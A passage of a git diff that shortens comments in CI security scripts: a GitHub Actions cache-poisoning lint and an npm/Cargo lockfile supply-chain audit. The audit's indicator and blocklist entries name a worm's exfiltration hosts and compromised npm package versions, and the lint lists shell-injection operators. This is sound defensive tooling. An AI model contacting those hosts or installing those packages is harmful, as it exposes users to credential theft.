- # A prefix whose literal head does not come FIRST yields nothing above, because the
- # pattern requires the head to begin with an alphanumeric, and
- # `prefix="${name}-pip-..."` puts its literal part after the variable. Substituting
- # the values callers actually pass makes it readable. Without this the composite
- # contributed no head at all, while the `steps.*` key reading its output was
- # dismissed as delegation, so a publish `restore-keys: shared-pip-` had nothing to be
- # compared against.
+ # A prefix whose literal head is not first (`${name}-pip-`) is read by substituting caller values.
for value in sorted(inputs or ()):
substituted = re.sub(r"\$\{\s*[\w-]+\s*\}|\$\{\{\s*inputs\.[\w-]+\s*\}\}", value, text)
for found in pattern.findall(substituted) + re.findall(
@@ -737,13 +642,10 @@ def _shell_built_key_prefixes(
if found not in heads:
heads.append(found)
if inputs and all_literal:
- # Narrowed heads, plus any head that already CARRIES a caller value because it
- # was recovered by substitution above and needs no further narrowing.
return [f"{h}{v}-" for h in heads for v in sorted(inputs)] + [
h for h in heads if any(h.startswith(v) for v in inputs)
]
- # An unresolved call site means the broad head still has to be carried, or narrowing
- # would silently drop the namespace that caller writes.
+ # An unresolved call site keeps the broad head, or narrowing would drop that caller's namespace.
return heads + [f"{h}{v}-" for h in heads for v in sorted(inputs or ())]
@@ -778,11 +680,7 @@ def _namespaces_by_target(callers: list, targets: list) -> dict:
out: dict = {}
for target in targets:
resolved = _resolved_inputs(callers, _target_name(target))
- # A declared default is a value the target really can be called with, so it
- # belongs in the namespace even when no call site mentions the input, and
- # recording it settles the OMISSION that made the input unresolved. It settles
- # nothing else: a caller that explicitly passes `${{ matrix.cache_key }}` has
- # overridden the default with a value this check cannot expand.
+ # A declared default settles only the omission, not a caller passing an unexpandable value.
for field, value in _declared_defaults(target).items():
entry = resolved.get(field, (set(), True, 0, 0, set()))
vals, _ok, _omitted, dynamic, delegated = entry
@@ -810,9 +708,7 @@ def _expand_key(
"""
out = {key.strip()}
complete = True
- # Inputs whose every call site DELEGATES: the value is assembled elsewhere and its
- # namespace is recorded by `_shell_built_key_prefixes`, so the expression left
- # standing for one of these is not an unanswered question.
+ # Inputs whose every call site delegates; their namespace comes from _shell_built_key_prefixes.
delegated_inputs: set = set()
for _ in range(6):
nxt: set = set()
@@ -827,11 +723,8 @@ def _expand_key(
delegated = entry[2] if len(entry) > 2 else set()
if not values:
nxt.add(k)
- # Resolved with NO literals means every call site delegates. Only
- # resolved-false is genuine doubt. Treating the two alike reported this
- # repository's own pip-cache-save, whose every caller passes
- # `${{ steps.pip-cache.outputs.key }}`, against every publish key in the
- # tree -- a false failure on a correct configuration.
+ # Resolved with no literals means every call site delegates;
+ # only resolved-false is doubt.
readable = bool(delegated) and all(
_delegation_is_read(expr, producers or {}, expr_scope)
for expr, expr_scope in delegated
@@ -839,17 +732,12 @@ def _expand_key(
if resolved and readable:
delegated_inputs.add(match.group(1))
else:
- # Delegation only settles the key when the producer's namespace was
- # actually recovered. `_shell_built_key_prefixes` reads two narrow
- # spellings; a workflow that emits its key with `printf 'key=%s\n'`
- # matches neither, so nothing was recorded and dismissing the key as
- # "delegated" turned an unread producer into a clean bill of health.
+ # Delegation settles the key only if the producer's namespace was actually recovered.
complete = False
continue
changed = True
if not resolved:
- # An unresolved call site keeps the raw expression alongside the
- # literals, or the caller this check cannot expand is silently dropped.
+ # Keep the raw expression too, or the unexpandable caller is silently dropped.
complete = False
nxt.add(k)
for value in sorted(values):
@@ -863,9 +751,7 @@ def _expand_key(
expanded.update(_RUNNER_OS_EXPR.sub(v, k) for v in _RUNNER_OS_VALUES)
else:
expanded.add(k)
- # Residue that a delegated input accounts for does not make the key undecided; any
- # other surviving expression does. Checked after the delegated ones are removed, so a
- # key mixing the two is still reported.
+ # Remove delegated residue first so a key mixing both kinds is still reported.
for k in expanded:
residue = k
for name in delegated_inputs:
@@ -887,15 +773,8 @@ def _input_namespaces(callers: list, targets: list) -> dict:
merged: dict = {}
for target in targets:
resolved = _resolved_inputs(callers, _target_name(target))
- # A declared default is a value the target really can be called with, so it
- # belongs in the namespace even when no call site mentions the input, and
- # recording it settles the OMISSION that made the input unresolved.
- #
- # It settles nothing else. A caller that explicitly passes
- # `${{ matrix.cache_key }}` has overridden the default with a value this check
- # cannot expand, so the namespace stays undecided however many defaults exist.
- # Treating a default as blanket resolution dropped that caller's namespace
- # entirely, which turned the fix for one false failure into a silent bypass.
+ # A declared default settles only the omission; an explicit unexpandable caller value keeps
+ # the namespace undecided.
defaults = _declared_defaults(target)
for field, value in defaults.items():
entry = resolved.get(field, (set(), True, 0, 0, set()))
@@ -923,10 +802,7 @@ def _expand_input_key(key: str, namespaces: dict) -> list[str]:
values, resolved = namespaces.get(match.group(1), (set(), False))
if not values:
return [key]
- # An unresolved call site keeps the raw expression alongside the literals. Returning
- # the literals alone dropped that caller: with one site passing `cache_key: safe-key`
- # and another `${{ matrix.cache_key }}`, the matrix value could be anything, and
- # discarding it meant neither comparison saw the namespace it writes.
+ # Keep the raw expression for an unresolved call site, or that caller's namespace is lost.
return sorted(values) if resolved else sorted(values) + [key]
@@ -1003,9 +879,7 @@ def _pr_reachable_action_dirs(workflows_dir: Path, pr_paths: list) -> set:
seen.add(pth)
for ref in _local_uses(pth):
for cand in _local_ref_candidates(ref, root.parent):
- # A local reusable workflow reference names the .yml file itself rather
- # than a directory containing an action.yml, so it has to be followed on
- # its own.
+ # A local reusable workflow ref names the .yml itself, not a directory with action.yml.
if cand.is_file() and cand.suffix in (".yml", ".yaml"):
dirs.add(cand)
queue.append(cand)
@@ -1035,10 +909,8 @@ def _trigger_set(yaml_doc) -> set[str]:
# Accept only a plain invocation of this script; fail closed on wrappers.
_PYTHON_BASENAME = re.compile(r"python(3(\.\d+)?)?")
-# Allow only flags that preserve script execution.
_SAFE_OPTS = ("-u", "-E", "-s", "-S", "-B", "-O", "-OO", "-q")
LINT_SCRIPT_PATH = f"scripts/{LINT_SCRIPT_NAME}"
-# These options consume the next token.
_OPTS_WITH_VALUE = ("-X", "-W", "--check-hash-based-pycs")
_SHELL_OPERATORS = ("|", "&", ";", ">", "<", "`", "$(")
@@ -1050,7 +922,7 @@ def _is_trusted_python(token: str) -> bool:
add an executable of that name.
"""
if any(op in token for op in _SHELL_OPERATORS):
- return False # a substitution runs before the path is used
+ return False
path = PurePosixPath(token)
if not _PYTHON_BASENAME.fullmatch(path.name):
return False
@@ -1064,14 +936,14 @@ def _classify_lint_line(line: str) -> tuple[bool, str | None]:
except ValueError:
return False, None
if not tokens or not _is_trusted_python(tokens[0]):
- return False, None # `echo <script>`, a decoy interpreter, or not python
+ return False, None
args, i = tokens[1:], 0
while i < len(args) and args[i].startswith("-"):
if args[i] in _OPTS_WITH_VALUE:
value = args[i + 1] if i + 1 < len(args) else ""
if any(op in value for op in _SHELL_OPERATORS):
- return False, None # a substitution runs before python
+ return False, None
i += 2
elif args[i] in _SAFE_OPTS:
i += 1
@@ -1079,7 +951,6 @@ def _classify_lint_line(line: str) -> tuple[bool, str | None]:
return False, None
rest = args[i:]
- # Require the repository-relative path, not a suffix match.
if not rest or rest[0] not in (LINT_SCRIPT_PATH, f"./{LINT_SCRIPT_PATH}"):
return False, None
if len(rest) == 1:
@@ -1118,7 +989,6 @@ def _lint_step_report(run: str) -> tuple[bool, list[str]]:
# Shell templates can wrap the command and hide its status.
SAFE_SHELLS: tuple[str, ...] = ("bash", "sh")
-# These variables can redirect execution before the script runs.
UNSAFE_ENV_KEYS: tuple[str, ...] = (
"BASH_ENV",
"ENV",
@@ -1351,31 +1221,20 @@ def main() -> int:
"Restore the workflow-trigger-lint workflow."
)
- # A PR-triggered workflow usually delegates its key to a composite action, so the
- # literal key lives in .github/actions/*/action.yml and the workflow only carries
- # `${{ steps.x.outputs.key }}`. Those count as PR-reachable: the workflow that uses
- # them runs on pull requests. Without this the prefix rule below would compare
- # against opaque expressions and match nothing.
+ # PR workflows usually delegate keys to composite actions; those count as PR-reachable.
pr_workflow_paths = [pth for pth, _ in pr_triggered]
pr_reachable = sorted(_pr_reachable_action_dirs(workflows_dir, pr_workflow_paths))
- # Call sites come from every reachable document, workflows and composites alike, so a
- # cache action reached through a wrapper action is narrowed by what the WRAPPER passes
- # and not only by what a workflow passes directly.
+ # Call sites come from workflows and composites, so wrapper-passed values narrow too.
pr_callers = pr_workflow_paths + pr_reachable
composite_keys: list[str] = []
shell_built: set = set()
- # A workflow can build its key in one of its OWN `run:` steps and consume it as
- # `${{ steps.probe.outputs.key }}`, with no composite involved at all. Only actions
- # were read for shell-built heads, so that key hit the delegation branch with nothing
- # recovered and a publish `restore-keys: shared-` had nothing to compare against.
+ # A workflow may build its key in its own run: step, so read workflows for shell heads too.
shell_literals: set = set()
for pth in pr_workflow_paths:
text = pth.read_text(ENC)
built = _shell_built_key_prefixes(text)
composite_keys.extend(built)
shell_built.update(built)
- # Literal keys the producer writes outright. Exact keys, so they belong in the
- # comparison, and evidence the step was understood.
shell_literals.update(_shell_output_keys(text))
for action_path in pr_reachable:
composite_keys.extend(_extract_cache_keys(action_path))
@@ -1384,44 +1243,24 @@ def main() -> int:
built = _shell_built_key_prefixes(action_path.read_text(ENC), names, all_literal)
composite_keys.extend(built)
shell_literals.update(_shell_output_keys(action_path.read_text(ENC)))
- # A shell-built value is the literal HEAD of a key whose remainder is assembled
- # at runtime, so it is truncated by construction even though no `${{` survives
- # in the recorded string. Without this the reverse-direction rule below stopped
- # comparing them, and a publish prefix longer than the head -- which is the usual
- # shape, `pip-v2-shared-` against the head `pip-v2-` -- went unexamined.
+ # A shell-built value is a truncated head even with no `${{` left in it.
shell_built.update(built)
- # The publish side delegates to local actions exactly as the pull-request side does,
- # and reading only the top-level workflow file left that half unexamined. A publish
- # workflow whose composite holds the `actions/cache/restore` declares its keys and
- # its `restore-keys` in the action, so a PR writing `shared-*` against a publish-only
- # composite restoring `shared-` passed: the prefix was never collected, and a
- # comparison that collects nothing on one side reports success.
+ # Publish workflows delegate to local actions too, so read their composites' keys and restore-keys.
for action_path in sorted(
_pr_reachable_action_dirs(workflows_dir, [pth for pth, _ in publish_triggered])
):
publish_triggered.append((action_path, _extract_cache_keys(action_path)))
publish_restore_prefixes.append((action_path, _extract_restore_key_prefixes(action_path)))
- # Composite keys belong in the exact comparison as well, not only the prefix one. A
- # PR-reachable action declaring `key: shared-key`, against a publish workflow using
- # that same key and no restore-keys at all, is the original cache-poisoning shape,
- # and it was invisible while this set held workflow-declared keys only.
- # Inputs each side's targets are called with, so an input-backed key resolves to the
- # namespace its callers actually produce before either comparison runs.
+ # Composite keys belong in the exact comparison too (the original cache-poisoning shape).
input_namespaces = _input_namespaces(pr_callers, pr_reachable)
publish_callers = [pth for pth, _ in publish_triggered]
publish_reachable = sorted(_pr_reachable_action_dirs(workflows_dir, publish_callers))
publish_namespaces = _input_namespaces(publish_callers, publish_reachable)
- # The publish side builds keys in shell too, and its heads were never collected:
- # `_shell_built_key_prefixes` ran over PR-reachable documents only. A publish
- # workflow that emits `key=shared-key` and restores `${{ steps.probe.outputs.key }}`
- # therefore had that key dismissed as delegated with nothing recovered to compare,
- # while a pull request writing the literal `shared-key` passed.
+ # Collect publish-side shell-built heads too, or a delegated publish key is dismissed unread.
publish_shell: set = set()
- # (path, key) is not unique: two jobs may declare the same raw expression, and
- # `setdefault` kept only the first one's scope for both, so a second job whose
- # producer could not be read was judged against the first job's readable one.
+ # (path, key) is not unique across jobs, so keep every scope.
pub_scope_list: dict = {}
for pth in publish_callers + publish_reachable:
for jid, key in _scoped_cache_keys(pth):
@@ -1432,24 +1271,16 @@ def main() -> int:
publish_producers: dict = {}
for pth in publish_callers + publish_reachable:
publish_producers.update(_producer_steps(pth))
- # Each definition keeps its OWN inputs. See `_namespaces_by_target`.
pr_by_target = _namespaces_by_target(pr_callers, pr_reachable)
publish_by_target = _namespaces_by_target(publish_callers, publish_reachable)
- # (namespace, key) rather than a bare key, so every key is expanded against the
- # inputs of the definition that declares it and no other.
- # (namespace, key, scope) -- the scope is the document and job whose step ids a
- # delegated key refers to.
+ # (namespace, key, scope): each key expands only against its declaring definition's inputs.
pr_sites = [
({}, k, (pth.as_posix(), jid))
for pth, _keys in pr_triggered
for jid, k in _scoped_cache_keys(pth)
]
- # Shell-built heads only. Re-adding every composite's YAML keys here gave each one a
- # SECOND entry carrying an empty namespace: it expanded to nothing, counted as
- # unresolved, and a composite whose callers all pass literals then rejected an
- # unrelated publish key on the strength of its own duplicate. The target loop below
- # is where those keys belong, with the inputs that decide them.
+ # Shell-built heads only; composite YAML keys are handled by the target loop below.
pr_sites += [({}, k, None) for k in sorted(shell_built | shell_literals)]
for target, namespace in pr_by_target.items():
pr_sites += [
@@ -1457,23 +1288,15 @@ def main() -> int:
]
pr_keys: set = set()
- # PR keys whose value this check could not settle, with the literal head they are
- # known to start with. Only these can collide with a publish key unseen.
pr_undecided: list = []
- # Per producing STEP, not per side. One readable producer is not a warrant for an
- # unreadable one, and a side-wide flag let an ordinary `echo key=...` vouch for a
- # `printf` producer whose namespace was never recovered.
+ # Per producing step: one readable producer does not vouch for another.
pr_producers: dict = {}
for pth in pr_workflow_paths + list(pr_reachable):
pr_producers.update(_producer_steps(pth))
for namespace, key, scope in pr_sites:
literals, complete = _expand_key(key, namespace, pr_producers, scope)
pr_keys.update(k for k in literals if "${{" not in k)
- # Delegation is not indecision. A key that is nothing but
- # `${{ steps.probe.outputs.key }}` names a value assembled in a shell step, and
- # `_shell_built_key_prefixes` recovers its head and records that namespace
- # separately; counting it here as well reported every publish key in the tree
- # against it, which failed the live tree on a correct configuration.
+ # Delegation is not indecision; its head is recovered separately.
if not complete and not (
_DELEGATED_KEY.fullmatch(key.strip())
and _delegation_is_read(key.strip(), pr_producers, scope)
@@ -1482,21 +1305,11 @@ def main() -> int:
pr_raw_unresolved = {raw.strip() for raw, _heads in pr_undecided}
for pub_path, pub_keys in publish_triggered:
- # This target's own inputs, not the merged view. Two publish-reachable actions
- # sharing an input name had every key expanded with both their values, so a cache
- # composite given `publish-key` was also expanded to an unrelated action's
- # `safe-key` and reported as colliding with a PR cache of that name.
- # A top-level workflow is not a target, and its `${{ inputs.X }}` is a
- # workflow_dispatch input chosen by whoever dispatches it. Falling back to the
- # merged CHILD namespace expanded that user-controlled value using an unrelated
- # action's literal and then called it settled, so dispatching with
- # `cache_key=shared-key` restored a pull request's cache with the lint green.
- # An empty namespace leaves it undecidable, which is what it is.
+ # Use this target's own inputs, not the merged view. A top-level workflow's inputs.X is a
+ # user-chosen dispatch input, so an empty namespace leaves it undecidable.
pub_ns = publish_by_target.get(pub_path, {})
for raw in pub_keys:
- # Every job that declares this key, not just the first. A key is only
- # settled when EVERY scope declaring it could be read; one unreadable
- # producer is enough to leave it undecided.
+ # Settled only when every scope declaring this key could be read.
scopes = pub_scope_list.get((pub_path.as_posix(), raw)) or [None]
pub_scope = next(
(
@@ -1510,16 +1323,10 @@ def main() -> int:
)
literals, complete = _expand_key(raw, pub_ns, publish_producers, pub_scope)
if _DELEGATED_KEY.fullmatch(raw.strip()):
- # Compared as the heads its own shell produced, rather than skipped.
read = _delegation_is_read(raw.strip(), publish_producers, pub_scope)
literals = sorted(publish_shell) if read else [raw.strip()]
complete = read
- # Identical spellings first. Two keys written the same way around an
- # expression this check cannot expand -- `shared-${{ hashFiles('lock') }}`
- # on both sides -- resolve identically at run time, so a PR that leaves the
- # lockfile alone writes the very entry the publish run restores. Both sides
- # were being dropped for still containing `${{`, which made the most direct
- # collision of all invisible.
+ # Identical spellings around an unexpandable expression collide at run time.
if not complete and raw.strip() in pr_raw_unresolved:
findings.append(
f"{pub_path.name}: cache key {raw.strip()!r} is spelled identically "
@@ -1543,17 +1350,9 @@ def main() -> int:
if _DELEGATED_KEY.fullmatch(k.strip()) and _delegation_is_read(
k.strip(), publish_producers, pub_scope
):
- # Delegated AND read. See the PR side above.
continue
- # An unresolved PUBLISH key, which needs the same treatment as an
- # unresolved PR key and was simply skipped. A publish composite
- # called with `cache_key: ${{ matrix.cache_key }}` may well produce a
- # literal a pull request also writes, and failing closed only on the
- # PR side left exactly half of this check's own rule unenforced.
- # No literal head at all means the key is expression-led and
- # could be ANY value, so it is not narrowable and every PR key is a
- # candidate. Requiring a head silently exempted exactly the least
- # decidable keys, which is the wrong way round.
+ # Unresolved publish keys fail closed too;
+ # a key with no literal head could be any value.
heads = [h for h in _prefix_candidates(k) if h]
reported = False
for literal in sorted(pr_keys):
@@ -1569,13 +1368,8 @@ def main() -> int:
break
if reported:
continue
- # BOTH sides unresolved, and spelled differently. The identical-text
- # rule above does not reach `shared-${{ matrix.pr_part }}` against
- # `shared-${{ matrix.pub_part }}`, and comparing an unresolved
- # publish key only against RESOLVED pr keys skipped the pairing
- # entirely -- so two keys that can both become `shared-x` passed.
- # Compatible when either head could lead to the other, which for two
- # truncated keys is the prefix test in both directions.
+ # Both sides unresolved and spelled differently:
+ # compatible if either head prefixes the other.
for raw_pr, pr_heads in pr_undecided:
fixed = [h for h in pr_heads if h]
if (
@@ -1592,15 +1386,8 @@ def main() -> int:
)
break
continue
- # Fail closed. An unsettled PR key can equal this publish key at run
- # time, and reporting it only from the restore-prefix pass meant a
- # publish workflow with no `restore-keys` at all -- the plainest shape
- # there is -- never had the question asked. Narrowed to PR keys whose
- # fixed head this publish key actually begins with, because a PR key
- # headed `pip-v2-` cannot become `wheels-x` however its tail resolves.
+ # Fail closed on unsettled PR keys whose fixed head this publish key begins with.
for raw_pr, heads in pr_undecided:
- # Same rule in the other direction: a PR key with no literal head is
- # unnarrowable rather than harmless.
fixed = [h for h in heads if h]
if not fixed or any(k.startswith(h) for h in fixed):
findings.append(
@@ -1611,13 +1398,9 @@ def main() -> int:
)
break
- # Same trust boundary, reached by prefix instead of by an equal key. `restore-keys`
- # restores the newest entry whose key merely STARTS WITH the prefix, so a publish
- # workflow can adopt an entry a pull request wrote without the two keys ever being
- # equal, which is the only thing the check above compares.
+ # restore-keys matches by prefix, so a publish run can adopt a PR entry without equal keys.
pr_heads: set = set()
- # Heads whose key continued into an unexpandable expression. Only these may be
- # reached by a publish prefix LONGER than the head itself.
+ # Only truncated heads can be reached by a publish prefix longer than the head.
truncated_heads: set = set()
undecidable_pr_keys: list[str] = []
for k in list(pr_keys) + composite_keys:
@@ -1627,11 +1410,7 @@ def main() -> int:
if _is_truncated(k) or k in shell_built:
truncated_heads.update(cands)
elif _INPUT_KEY.fullmatch(k.strip()):
- # `key: ${{ inputs.cache_key }}` in a reusable workflow or composite names no
- # namespace here, but unlike a `steps.*` reference it is not delegation
- # either: the value comes from the CALLER, and a pull request caller passing
- # `cache_key: shared-abc` writes the `shared-` namespace. Treating it as
- # delegation dropped it silently and a publish `shared-` fallback passed.
+ # inputs.X is caller-supplied, not delegation: a PR caller can write that namespace.
field = _INPUT_KEY.fullmatch(k.strip()).group(1)
vals, resolved = input_namespaces.get(field, (set(), False))
heads = [h for v in sorted(vals) for h in _prefix_candidates(v)]
@@ -1640,29 +1419,19 @@ def main() -> int:
h for v in sorted(vals) if _is_truncated(v) for h in _prefix_candidates(v)
)
if not resolved:
- # Some call site passes a value this check cannot expand, such as
- # `${{ matrix.cache_name }}`, or omits the input so the action default
- # applies. Say so rather than assuming it is harmless. Resolved with no
- # literals is the DELEGATION case and is fine: every live caller of
- # pip-cache-save passes `key: ${{ steps.pip-cache.outputs.key }}`, whose
- # real namespace was collected from the restoring action's shell.
+ # An unexpandable or omitted value is undecidable;
+ # resolved with no literals is delegation and fine.
undecidable_pr_keys.append(k)
elif _DELEGATED_KEY.fullmatch(k.strip()):
- # `key: ${{ steps.pip-cache.outputs.key }}` names no namespace of its own; it
- # hands the decision to a composite action, whose real prefix was collected
- # above from that action's own YAML and shell. Reporting it as undecidable
- # would flag every workflow that factors its cache out into an action.
+ # A steps.* key delegates to a composite whose prefix was collected above.
continue
else:
undecidable_pr_keys.append(k)
for pub_path, prefixes in publish_restore_prefixes:
for prefix in prefixes:
- # Expanded with the declaring target's own inputs first, exactly as its
- # exact keys are. Reducing `prefix-${{ inputs.name }}-` without them gave
- # the broad head `prefix-`, which collides with everything under it, so a
- # composite called with `name: publish` was reported against unrelated PR
- # keys whose runtime fallback it could never reach.
+ # Expand with the declaring target's own inputs first,
+ # or the broad head collides with everything.
prefix_ns = publish_by_target.get(pub_path, {})
expanded_prefixes, _ok = _expand_key(prefix, prefix_ns)
pub_heads = [
@@ -1695,8 +1464,6 @@ def main() -> int:
)
break
else:
- # Only reachable when nothing matched: an undecidable PR key could still
- # expand into this prefix, so say so rather than passing silently.
for k in undecidable_pr_keys:
findings.append(
f"{pub_path.name}: restore-keys prefix {prefix!r} cannot be "
diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py
index 303b00f6732..e09221766d2 100644
--- a/scripts/lockfile_supply_chain_audit.py
+++ b/scripts/lockfile_supply_chain_audit.py
@@ -23,7 +23,6 @@ from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
-# Known IOC strings (case-sensitive substring match).
NPM_IOC_STRINGS: tuple[str, ...] = (
# Shai-Hulud TanStack wave -- May 11, 2026 (GHSA-g7cv-rxg3-hmpx).
"router_init.js",
@@ -34,7 +33,7 @@ NPM_IOC_STRINGS: tuple[str, ...] = (
# Exfiltration endpoints observed across both Shai-Hulud waves.
"filev2.getsession.org",
"getsession.org/file/",
- # Campaign markers; the worm tarballs print this to stdout on run.
+ # Campaign marker the worm tarballs print to stdout on run.
"A Mini Shai-Hulud has Appeared",
# Mini Shai-Hulud May-12 2026 wave.
"git-tanstack.com",
@@ -187,12 +186,11 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@uipath/functions-tool": {"1.0.1"},
"@uipath/access-policy-sdk": {"0.3.1"},
"@uipath/platform-tool": {"1.0.1"},
- # Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai
- # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
+ # Mini Shai-Hulud May-12 wave: @mistralai/* (npm, not PyPI mistralai).
"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},
- # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages) (Aikido enumeration).
+ # Mini Shai-Hulud May-12 wave: @tallyui/*.
"@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},
@@ -224,7 +222,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"0.1.18",
"0.1.19",
},
- # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/* (Aikido enumeration).
+ # Mini Shai-Hulud May-12 wave: @draftlab/*, @draftauth/*.
"@draftauth/client": {"0.2.1", "0.2.2"},
"@draftauth/core": {"0.13.1", "0.13.2"},
"@draftlab/auth": {"0.24.1", "0.24.2"},
@@ -243,7 +241,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},
"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
- # Mini Shai-Hulud May-12 wave: unscoped packages (10 entries) (Aikido enumeration).
+ # Mini Shai-Hulud May-12 wave: unscoped packages.
"safe-action": {"0.8.3", "0.8.4"},
"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},
"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},
@@ -254,8 +252,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},
"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},
"ml-toolkit-ts": {"1.0.4", "1.0.5"},
- # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3.
- # Safe version: 7.0.3 and earlier.
+ # Mini Shai-Hulud Apr-30 wave (npm side of PyPI lightning 2.6.2/2.6.3); 7.0.3 is safe.
"intercom-client": {"7.0.4"},
}
@@ -316,7 +313,6 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:
try:
raw = path.read_text(encoding = "utf-8")
except OSError as exc:
- # Surface as a finding instead of crashing CI with a traceback.
findings.append(
Finding(
path = str(path),
@@ -352,22 +348,19 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:
packages = lock.get("packages") or {}
for key, entry in packages.items():
- # Empty key "" is the project root (no `resolved`); skip it.
if key == "":
continue
if entry.get("link"):
- # Workspace symlink; no tarball to resolve.
continue
resolved = entry.get("resolved")
- # Entries nested in another package's node_modules are bundled fold-ins covered by the parent's integrity; treat as transparent.
+ # Nested entries are bundled fold-ins covered by the parent's integrity.
nested = key.count("/node_modules/") >= 1
if resolved is None:
if nested or entry.get("bundled"):
pass
elif entry.get("version"):
- # Top-level entry without a resolved URL is suspicious.
findings.append(
Finding(
path = str(path),
@@ -422,7 +415,7 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:
)
)
- # Known IOC strings: scan the raw body to catch fields the structural pass does not enumerate (scripts, optional deps, and so on).
+ # Scan the raw body to catch fields the structural pass does not enumerate.
for ioc in NPM_IOC_STRINGS:
if ioc in raw:
line_no = _first_line_containing(raw, ioc)
@@ -449,14 +442,12 @@ def _first_line_containing(text: str, needle: str) -> int | None:
return None
-# Cargo.lock is TOML; parsed with stdlib tomllib (Python 3.11+).
_PACKAGE_HEADER = re.compile(r"^\[\[package\]\]\s*$")
def audit_cargo_lockfile(path: Path) -> list[Finding]:
findings: list[Finding] = []
if not path.exists():
- # See audit_npm_lockfile: missing lockfile is a finding.
findings.append(
Finding(
path = str(path),
@@ -485,7 +476,6 @@ def audit_cargo_lockfile(path: Path) -> list[Finding]:
try:
import tomllib # type: ignore[import-not-found]
except ImportError:
- # Python <3.11; fall back to a tomli shim if importable.
try:
import tomli as tomllib # type: ignore[no-redef]
except ImportError:
@@ -520,12 +510,10 @@ def audit_cargo_lockfile(path: Path) -> list[Finding]:
name = entry.get("name") or "<unnamed>"
version = entry.get("version") or "<unversioned>"
source = entry.get("source")
- # Workspace-local crates have no `source` field; skip them.
if source is None:
continue
if source != CARGO_REGISTRY_SOURCE:
if (name, source) in CARGO_SOURCE_ALLOWLIST:
- # Pre-approved non-registry source pinned by SHA.
pass
else:
findings.append(
@@ -573,22 +561,19 @@ def audit_cargo_lockfile(path: Path) -> list[Finding]:
return findings
-# Finding kinds split into BLOCKING vs ADVISORY for the default run mode.
BLOCKING_KINDS: frozenset[str] = frozenset(
{
"blocked-known-malicious",
"known-ioc-string",
- # A non-registry URL or an unverifiable tarball is the exact pre-install fetch this gate exists to stop.
"non-registry-resolved-url",
"missing-integrity-hash",
"non-registry-cargo-source",
"missing-cargo-checksum",
- # A structurally broken lockfile might hide a real attack.
"malformed-lockfile",
"missing-lockfile",
"unreadable-lockfile",
"missing-toml-parser",
- # An unsupported lockfileVersion means the audit could not walk the dependency tree at all (the structural rules below only apply to npm v2/v3). Advisory would let a v1 downgrade, a known supply-chain attack shape, pass CI silently, so keep it blocking.
+ # Unsupported lockfileVersion means nothing was walked; a v1 downgrade is a known attack shape.
"unsupported-lockfile-version",
}
)
@@ -643,12 +628,11 @@ def main(argv: list[str] | None = None) -> int:
)
args = parser.parse_args(argv)
- # Require a real justification (>=5 chars, not a boolean-shaped token) for the skip env var.
_skip_raw = os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP")
if _skip_raw is not None:
_skip = _skip_raw.strip()
_invalid_tokens = {"", "1", "0", "true", "false", "yes", "no", "on", "off"}
- # Both branches echo the user-supplied env var inside a ``::warning::`` GH Actions workflow command, and the raw value can contain ``%``, CR, LF or even another ``::error::`` line (workflow-command injection); _gha_escape collapses each message onto a single annotation line per the GH workflow-commands spec.
+ # _gha_escape stops workflow-command injection via the user-supplied env var.
if _skip.lower() in _invalid_tokens or len(_skip) < 5:
print(
"::warning::"
@@ -669,7 +653,6 @@ def main(argv: list[str] | None = None) -> int:
return 0
root = Path(args.root).resolve()
- # Explicit flags scope the scan; defaults apply only to no-args CI.
_user_explicit = args.npm_lockfile is not None or args.cargo_lockfile is not None
if _user_explicit:
npm_paths = [root / p for p in (args.npm_lockfile or ())]
@@ -694,7 +677,6 @@ def main(argv: list[str] | None = None) -> int:
)
return 0
- # Split into blocking (known-malicious / IOC / structurally broken) and advisory (everything else).
blocking = [f for f in all_findings if f.kind in BLOCKING_KINDS]
advisory = [f for f in all_findings if f.kind not in BLOCKING_KINDS]
@@ -709,7 +691,6 @@ def main(argv: list[str] | None = None) -> int:
file = sys.stderr,
)
for f in advisory:
- # GH Actions warning annotation; _gha_escape collapses the multi-line Finding onto one line so it renders fully in the UI.
print(f"::warning::{_gha_escape(str(f))}", file = sys.stderr)
print(file = sys.stderr)
@@ -726,7 +707,6 @@ def main(argv: list[str] | None = None) -> int:
file = sys.stderr,
)
for f in blocking:
- # Same %-encoding rationale as the advisory branch above.
print(f"::error::{_gha_escape(str(f))}", file = sys.stderr)
print(file = sys.stderr)
print(
diff --git a/scripts/make_dmg_background.py b/scripts/make_dmg_background.py
index d66166157c7..4b46a7f20c4 100644
--- a/scripts/make_dmg_background.py
+++ b/scripts/make_dmg_background.py
@@ -29,42 +29,34 @@ from PIL import Image, ImageDraw
REPO = Path(__file__).resolve().parents[1]
